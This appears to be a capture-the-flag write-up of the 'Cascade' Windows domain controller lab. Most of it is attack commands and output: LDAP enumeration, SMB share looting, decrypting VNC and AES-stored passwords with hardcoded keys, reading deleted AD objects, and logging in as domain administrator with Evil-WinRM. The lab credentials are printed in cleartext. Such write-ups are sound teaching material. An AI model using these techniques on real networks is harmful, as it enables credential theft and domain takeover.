Cascade

Cascade is a medium difficulty Windows machine configured as a Domain Controller. LDAP anonymous binds are enabled, and enumeration yields the password for user `r.thompson`, which gives access to a `TightVNC` registry backup. The backup is decrypted to gain the password for `s.smith`. This user has access to a .NET executable, which after decompilation and source code analysis reveals the password for the `ArkSvc` account. This account belongs to the `AD Recycle Bin` group and is able to view deleted Active Directory objects. One of the deleted user accounts is found to contain a hardcoded password, which can be reused to login as the primary domain administrator.

Content

1 Initial Network Analysis and Subsequent Discoveries through LDAP Examination

With standard Nmap and SMB scans and reconnaissance, there wasn't much to note. However, LDAP provided some interesting findings.

```
┌──(kali㉿kali)-[~]
└─$ ldapsearch -H ldap://10.10.10.182 -x -b "DC=cascade,DC=local" '(objectClass=person)' > ldap-people
```

```
└─$ head -40 ldap-people
# extended LDIF
#
# LDAPv3
# base <DC=cascade,DC=local> with scope subtree
# filter: (objectClass=person)
# requesting: ALL
#

# CascGuest, Users, cascade.local
dn: CN=CascGuest,CN=Users,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: CascGuest
description: Built-in account for guest access to the computer/domain
distinguishedName: CN=CascGuest,CN=Users,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109153140.0Z
whenChanged: 20200110160637.0Z
uSNCreated: 8197
memberOf: CN=Guests,CN=Builtin,DC=cascade,DC=local
uSNChanged: 45094
name: CascGuest
objectGUID:: LrFX+qgBukGjmV+ZFABrZw==
userAccountControl: 66082
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 0
primaryGroupID: 514
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJF9QEAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: CascGuest
sAMAccountType: 805306368
userPrincipalName: CascGuest@cascade.local
```

```
└─$ cat ldap-people | grep -B 15 -A 15  -i legacy
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA==
accountExpires: 9223372036854775807
logonCount: 2
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local
dSCorePropagationData: 20200126183918.0Z
dSCorePropagationData: 20200119174753.0Z
dSCorePropagationData: 20200119174719.0Z
dSCorePropagationData: 20200119174508.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 133479809076039110
msDS-SupportedEncryptionTypes: 0
cascadeLegacyPwd: clk0bjVldmE=

# Util, Services, Users, UK, cascade.local
dn: CN=Util,OU=Services,OU=Users,OU=UK,DC=cascade,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Util
distinguishedName: CN=Util,OU=Services,OU=Users,OU=UK,DC=cascade,DC=local
instanceType: 4
whenCreated: 20200109194521.0Z
whenChanged: 20200128180947.0Z
displayName: Util
uSNCreated: 24650
uSNChanged: 245850
```

We possess user information, and within this dataset, one user's record includes the attribute 'cascadeLegacyPwd' with the value ‘clk0bjVldmE='

```
┌──(kali㉿kali)-[~]
└─$ echo "clk0bjVldmE=" | base64 -d
rY4n5eva
```

We have acquired new credentials, enabling us to enumerate both users and shared resources:

```
┌──(kali㉿kali)-[~]
└─$ nxc smb 10.10.10.182 -u r.thompson -p rY4n5eva --users
SMB         10.10.10.182    445    CASC-DC1        [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SM
Bv1:False)
SMB         10.10.10.182    445    CASC-DC1        [+] cascade.local\r.thompson:rY4n5eva
SMB         10.10.10.182    445    CASC-DC1        [*] Trying to dump local users with SAMRPC protocol
SMB         10.10.10.182    445    CASC-DC1        [+] Enumerated domain user(s)
SMB         10.10.10.182    445    CASC-DC1        cascade.local\administrator                   Built-in account for administering the comp
uter/domain
SMB         10.10.10.182    445    CASC-DC1        cascade.local\CascGuest                       Built-in account for guest access to the co
mputer/domain
SMB         10.10.10.182    445    CASC-DC1        cascade.local\krbtgt                          Key Distribution Center Service Account
SMB         10.10.10.182    445    CASC-DC1        cascade.local\arksvc
SMB         10.10.10.182    445    CASC-DC1        cascade.local\s.smith
SMB         10.10.10.182    445    CASC-DC1        cascade.local\r.thompson
SMB         10.10.10.182    445    CASC-DC1        cascade.local\util
SMB         10.10.10.182    445    CASC-DC1        cascade.local\j.wakefield
SMB         10.10.10.182    445    CASC-DC1        cascade.local\s.hickson
SMB         10.10.10.182    445    CASC-DC1        cascade.local\j.goodhand
SMB         10.10.10.182    445    CASC-DC1        cascade.local\a.turnbull
SMB         10.10.10.182    445    CASC-DC1        cascade.local\e.crowe
SMB         10.10.10.182    445    CASC-DC1        cascade.local\b.hanson
SMB         10.10.10.182    445    CASC-DC1        cascade.local\d.burman
SMB         10.10.10.182    445    CASC-DC1        cascade.local\BackupSvc
SMB         10.10.10.182    445    CASC-DC1        cascade.local\j.allen
SMB         10.10.10.182    445    CASC-DC1        cascade.local\i.croft
```

We have also identified several shared resources. I will proceed to download the contents of the 'Data' share for further investigation.

```
└─$ smbclient \\\\10.10.10.182\\Data -U r.thompson
Password for [WORKGROUP\r.thompson]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Jan 27 05:27:34 2020
  ..                                  D        0  Mon Jan 27 05:27:34 2020
  Contractors                         D        0  Mon Jan 13 03:45:11 2020
  Finance                             D        0  Mon Jan 13 03:45:06 2020
  IT                                  D        0  Tue Jan 28 20:04:51 2020
  Production                          D        0  Mon Jan 13 03:45:18 2020
  Temps                               D        0  Mon Jan 13 03:45:15 2020

                6553343 blocks of size 4096. 1623772 blocks available
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Contractors\*
NT_STATUS_ACCESS_DENIED listing \Finance\*
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Temps\*
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as IT/Email Archives/Meeting_Notes_June_2018.html (3.9 KiloBytes/s
ec) (average 3.9 KiloBytes/sec)
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log (2.3 KiloBytes/s
ec) (average 3.1 KiloBytes/sec)
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as IT/Logs/DCs/dcdiag.log (9.2 KiloBytes/sec) (average 5.2 KiloBytes/sec)
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as IT/Temp/s.smith/VNC Install.reg (4.1 KiloBytes/sec) (average 4.9 KiloBytes/sec
)
```

2 File Analysis and Password Decryption Efforts

We have discovered something intriguing within the files:

```
┌──(kali㉿kali)-[~/IT/Temp/s.smith]
└─$ cat VNC\ Install.reg
◆◆Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC]

[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]
"ExtraPorts"=""
"QueryTimeout"=dword:0000001e
"QueryAcceptOnTimeout"=dword:00000000
"LocalInputPriorityTimeout"=dword:00000003
"LocalInputPriority"=dword:00000000
"BlockRemoteInput"=dword:00000000
"BlockLocalInput"=dword:00000000
"IpAccessControl"=""
"RfbPort"=dword:0000170c
"HttpPort"=dword:000016a8
"DisconnectAction"=dword:00000000
"AcceptRfbConnections"=dword:00000001
"UseVncAuthentication"=dword:00000001
"UseControlAuthentication"=dword:00000000
"RepeatControlAuthentication"=dword:00000000
"LoopbackOnly"=dword:00000000
"AcceptHttpConnections"=dword:00000001
"LogLevel"=dword:00000000
"EnableFileTransfers"=dword:00000001
"RemoveWallpaper"=dword:00000001
"UseD3D"=dword:00000001
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
"DisconnectClients"=dword:00000001
"PollingInterval"=dword:000003e8
"AllowLoopback"=dword:00000000
"VideoRecognitionInterval"=dword:00000bb8
"GrabTransparentWindows"=dword:00000001
"SaveLogToAllUsersPath"=dword:00000000
"RunControlInterface"=dword:00000001
"IdleTimeout"=dword:00000000
"VideoClasses"=""
"VideoRects"=""
```

We have identified a second user associated with a VNC setup, and we are able to view the 'password' value.

However, the password value is encrypted and requires further investigation. After analysis, it was determined that VNC utilizes a hardcoded DES key for credential storage, a practice consistent across multiple product lines.

Consequently, we can decrypt the password using the following method:

Execute the command:

echo 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv to decrypt the password

```
└─$ echo 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -
provider default | hexdump -Cv
00000000  73 54 33 33 33 76 65 32                           |sT333ve2|
00000008
```

Success has been achieved in obtaining the second set of credentials. We are now able to retrieve the 'user.txt' file.

```
*Evil-WinRM* PS C:\Users\s.smith\Desktop> cat user.txt
6d6a76a533f29adb59d331b5e6e2430e
*Evil-WinRM* PS C:\Users\s.smith\Desktop>
```

3 Group Membership Insights and Credential Retrieval Strategies

We have observed that the user 's.smith' is a member of the 'Audit Share' group

```
*Evil-WinRM* PS C:\Users\s.smith\Desktop> net user s.smith
User name                    s.smith
Full Name                    Steve Smith
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/28/2020 7:58:05 PM
Password expires             Never
Password changeable          1/28/2020 7:58:05 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script                 MapAuditDrive.vbs
User profile
Home directory
Last logon                   1/28/2020 11:26:39 PM

Logon hours allowed          All

Local Group Memberships      *Audit Share          *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.
```

Actually, he is the only one in Audit Share group:

```
*Evil-WinRM* PS C:\Users\s.smith\Desktop> net localgroup "Audit Share"
Alias name     Audit Share
Comment        \\Casc-DC1\Audit$

Members

-------------------------------------------------------------------------------
s.smith
The command completed successfully.
```

The comment serves as a valuable clue, prompting further examination of this share:

```
┌──(kali㉿kali)-[~]
└─$ nxc  smb -u s.smith -p sT333ve2 --shares 10.10.10.182
SMB         10.10.10.182    445    CASC-DC1         [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SM
Bv1:False)
SMB         10.10.10.182    445    CASC-DC1         [+] cascade.local\s.smith:sT333ve2
SMB         10.10.10.182    445    CASC-DC1         [*] Enumerated shares
SMB         10.10.10.182    445    CASC-DC1         Share           Permissions     Remark
SMB         10.10.10.182    445    CASC-DC1         -----           -----------     ------
SMB         10.10.10.182    445    CASC-DC1         ADMIN$                          Remote Admin
SMB         10.10.10.182    445    CASC-DC1         Audit$          READ
SMB         10.10.10.182    445    CASC-DC1         C$                              Default share
SMB         10.10.10.182    445    CASC-DC1         Data            READ
SMB         10.10.10.182    445    CASC-DC1         IPC$                            Remote IPC
SMB         10.10.10.182    445    CASC-DC1         NETLOGON        READ            Logon server share
SMB         10.10.10.182    445    CASC-DC1         print$          READ            Printer Drivers
SMB         10.10.10.182    445    CASC-DC1         SYSVOL          READ            Logon server share
```

We possess read permissions for the 'Audit' share. Let's proceed to download the files from it, employing a similar method to what was used previously:

```
└─$ smbclient \\\\10.10.10.182\\Audit$ -U s.smith
Password for [WORKGROUP\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jan 29 20:01:26 2020
  ..                                  D        0  Wed Jan 29 20:01:26 2020
  CascAudit.exe                      An    13312  Tue Jan 28 23:46:51 2020
  CascCrypto.dll                     An    12288  Wed Jan 29 20:00:20 2020
  DB                                  D        0  Tue Jan 28 23:40:59 2020
  RunAudit.bat                        A       45  Wed Jan 29 01:29:47 2020
  System.Data.SQLite.dll              A   363520  Sun Oct 27 08:38:36 2019
  System.Data.SQLite.EF6.dll          A   186880  Sun Oct 27 08:38:38 2019
  x64                                 D        0  Mon Jan 27 00:25:27 2020
  x86                                 D        0  Mon Jan 27 00:25:27 2020

                6553343 blocks of size 4096. 1623590 blocks available
smb: \>
```

The first approach involves connecting to the .db file and enumerating its contents.

```
┌──(kali㉿kali)-[~/DB]
└─$ sqlite3 Audit.db
SQLite version 3.44.2 2023-11-24 11:41:44
Enter ".help" for usage hints.
sqlite> select * from ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
sqlite>
```

It appears that we have identified credentials for the user 'arkSvc', but they are not readily decryptible. Utilizing Open Source Intelligence (OSINT), I have located a webpage related to these credentials:

<no name> by Anonymous

```
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public class Program
{
    public static void Main()
    {
        string str = string.Empty;
        str = DecryptString("BQO515Kj9MdErXx6Q6AGOw==", "c4scadek3y654321");
        Console.WriteLine(str);
    }

    public static string DecryptString(string EncryptedString, string Key)
    {
      byte[] buffer = Convert.FromBase64String(EncryptedString);
      Aes aes = Aes.Create();
      ((SymmetricAlgorithm) aes).KeySize = 128;
      ((SymmetricAlgorithm) aes).BlockSize = 128;
      ((SymmetricAlgorithm) aes).IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
      ((SymmetricAlgorithm) aes).Mode = CipherMode.CBC;
      ((SymmetricAlgorithm) aes).Key = Encoding.UTF8.GetBytes(Key);
      using (MemoryStream memoryStream = new MemoryStream(buffer))
      {
        using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, ((SymmetricAlgorithm) aes).CreateDecryptor(), CryptoStreamMode.Read))
        {
          byte[] numArray = new byte[checked (buffer.Length - 1 + 1)];
          cryptoStream.Read(numArray, 0, numArray.Length);
          return Encoding.UTF8.GetString(numArray);
        }
      }
    }


}
```

w31c0meFr31nd

An individual utilized an online compiler and inadvertently left the key accessible to the public.

Another approach requires us to conduct an analysis of this executable using DNSpy

```
┌──(kali㉿kali)-[~]
└─$ file CascAudit.exe
CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
```

By setting a breakpoint at line 53, where the SQL connection is closed, we are able to observe the decrypted password:

```
49                                  return;
50                                  }
51                                  }
52                              }
53                              sqliteConnection.Close();
54                          }
55                          catch (Exception ex2)
56                          {
57                              Console.WriteLine("Error getting LDAP connection data From database: " + ex2.Message);
58                              return;
59                          }
60                          int num = 0;
61                          using (DirectoryEntry directoryEntry = new DirectoryEntry())
62                          {
63                              directoryEntry.Username = str2 + "\\" + str;
64                              directoryEntry.Password = password;
65                              directoryEntry.AuthenticationType = AuthenticationTypes.Secure;
66                              using (DirectorySearcher directorySearcher = new DirectorySearcher(directoryEntry))
67                              {
```

100 %

Locals

Name	Value	Type
sqliteConnection	{System.Data.SQLite.SQLiteConnection}	System.Data.SQLite.SQLiteConnec...
str	"ArkSvc"	string
password	"w3lc0meFr31nd\0\0\0"	string

We have successfully identified new credentials: the username is 'ArkSvc' and the password is 'w3lc0meFr31nd’

4 Elevating Privileges to System Administrator

Let's now investigate the nature and privileges associated with the 'arksvc' user account.

```
*Evil-WinRM* PS C:\Users\arksvc> net user arksvc
User name                    arksvc
Full Name                    ArkSvc
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/9/2020 4:18:20 PM
Password expires             Never
Password changeable          1/9/2020 4:18:20 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   12/25/2023 5:26:37 PM

Logon hours allowed          All

Local Group Memberships      *AD Recycle Bin       *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.
```

The user 'arksvc' holds membership in the 'AD Recycle Bin' group, which allows for the recovery of deleted Active Directory objects without resorting to backups, restarting Active Directory Domain Services, or rebooting DCs

More info at:

https://blog.netwrix.com/2021/11/30/active-directory-object-recovery-recycle-bin/

With this information, we can execute the following query. Additionally, this enables us to retrieve the 'root.txt' file:

```
*Evil-WinRM* PS C:\Users\arksvc> Get-ADObject -filter 'isdeleted -eq $true -and name -ne "Deleted Objects" -and samaccountname -eq "TempAdmin"' -inc
ludeDeletedObjects -property *


accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz
CN                              : TempAdmin
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage                        : 0
countryCode                     : 0
Created                         : 1/27/2020 3:23:08 AM
createTimeStamp                 : 1/27/2020 3:23:08 AM
Deleted                         : True
```

```
┌──(kali㉿kali)-[~]
└─$ echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d
baCT3r1aN00dles
```

```
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        12/25/2023  12:28 PM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```